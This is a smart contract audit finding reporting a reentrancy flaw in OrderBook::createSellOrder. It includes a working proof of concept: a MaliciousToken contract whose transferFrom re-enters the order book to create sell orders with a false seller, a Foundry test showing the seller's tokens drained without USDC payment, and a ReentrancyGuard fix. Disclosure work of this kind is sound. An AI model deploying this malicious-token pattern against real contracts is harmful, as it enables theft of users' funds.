[H-1] Lack of reentrancy protection in OrderBook::createSellOrder enables a malicious token to create sell orders with incorrect seller address resulting in sellers losing their tokens and not receiving any USDC in return
Description: In OrderBook::createSellOrder the protocol calls safeTransferFrom on a token to lock the user's tokens in the contract. If the token contract is malicious, it can re-enter the createSellOrder function to create additional invalid sell orders where order.seller will be address of the malicious token.
IERC20(_tokenToSell).safeTransferFrom(msg.sender, address(this), _amountToSell);
Impact: This results in creation of additional sell orders with invalid seller address and draining of the seller token balance. When a buyer calls the buyOrder function with one of the invalid order ids, the USDC is not transferred to the seller. As a result the seller not only loses their tokens but also doesn't receive any compensation.
Proof of Concept:
Create a MaliciousToken.sol file in /test/mocks with the following code:
pragma solidity ^0.8.0;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MaliciousToken is ERC20 {
address private immutable i_orderBook;
uint256 private s_attackAttempts;
address private s_userAddress;
uint256 public s_amountToSell;
uint256 public s_priceInUSDC;
uint256 public s_deadlineDuration;
constructor(address orderBook, uint256 amountToSell, uint256 priceInUSDC, uint256 deadlineDuration)
ERC20("MaliciousToken", "MTK")
{
i_orderBook = orderBook;
s_attackAttempts = 2;
s_amountToSell = amountToSell;
s_priceInUSDC = priceInUSDC;
s_deadlineDuration = deadlineDuration;
}
function mint(address to, uint256 value) public {
super._mint(to, value);
}
function transferFrom(address from, address to, uint256 value) public override returns (bool) {
if (s_attackAttempts == 2) {
s_userAddress = from;
}
while (s_attackAttempts > 0) {
s_attackAttempts--;
(bool success,) = i_orderBook.call(
abi.encodeWithSignature(
"createSellOrder(address,uint256,uint256,uint256)",
address(this),
s_amountToSell,
s_priceInUSDC,
s_deadlineDuration
)
);
}
return super.transferFrom(s_userAddress, to, value);
}
}
Add the following code to test/TestOrderBook.t.sol
import {MaliciousToken} from "./mocks/MaliciousToken.sol";
function test_createSellOrderReentrancy() public {
address seller = makeAddr("seller");
address buyer = makeAddr("buyer");
MaliciousToken maliciousToken = new MaliciousToken(address(book), 1e8, 180_000e6, 2 days);
maliciousToken.mint(seller, 3e8);
usdc.mint(buyer, 500_000);
assertEq(maliciousToken.balanceOf(seller), 3e8);
vm.startPrank(owner);
book.setAllowedSellToken(address(maliciousToken), true);
vm.stopPrank();
vm.startPrank(seller);
maliciousToken.approve(address(book), type(uint256).max);
uint256 orderId = book.createSellOrder(address(maliciousToken), 1e8, 180_000e6, 2 days);
vm.stopPrank();
console2.log(book.getOrderDetailsString(orderId));
console2.log(book.getOrderDetailsString(2));
console2.log(book.getOrderDetailsString(3));
assertEq(maliciousToken.balanceOf(seller), 0);
vm.startPrank(buyer);
usdc.approve(address(book), type(uint256).max);
book.buyOrder(2);
vm.stopPrank();
console2.log("Final MTK balance of seller: ", maliciousToken.balanceOf(address(seller)));
console2.log("Final MTK balance of buyer: ", maliciousToken.balanceOf(address(buyer)));
console2.log("Final USDC balance of seller: ", usdc.balanceOf(address(seller)));
console2.log("Final USDC balance of buyer: ", usdc.balanceOf(address(buyer)));
}
-
Run forge test --mt test_createSellOrderReentrancy -vvv command
-
Observe that the seller token balance is drained and they didn't receive any USDC.
Recommended Mitigation:
Add reentrancy guard to the OrderBook::createSellOrder function
@@ -17,0 +17,1 @@
+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
@@ -23,1 +23,1 @@
- contract OrderBook is Ownable {
+ contract OrderBook is Ownable, ReentrancyGuard {
@@ -107,1 +107,1 @@
- function createSellOrder(address _tokenToSell, uint256 _amountToSell, uint256 _priceInUSDC, uint256 _deadlineDuration) public returns (uint256) {
+ function createSellOrder(address _tokenToSell, uint256 _amountToSell, uint256 _priceInUSDC, uint256 _deadlineDuration) public nonReentrant returns (uint256) {
In addition, make sure you always follow the Checks/Effects/Interaction pattern.
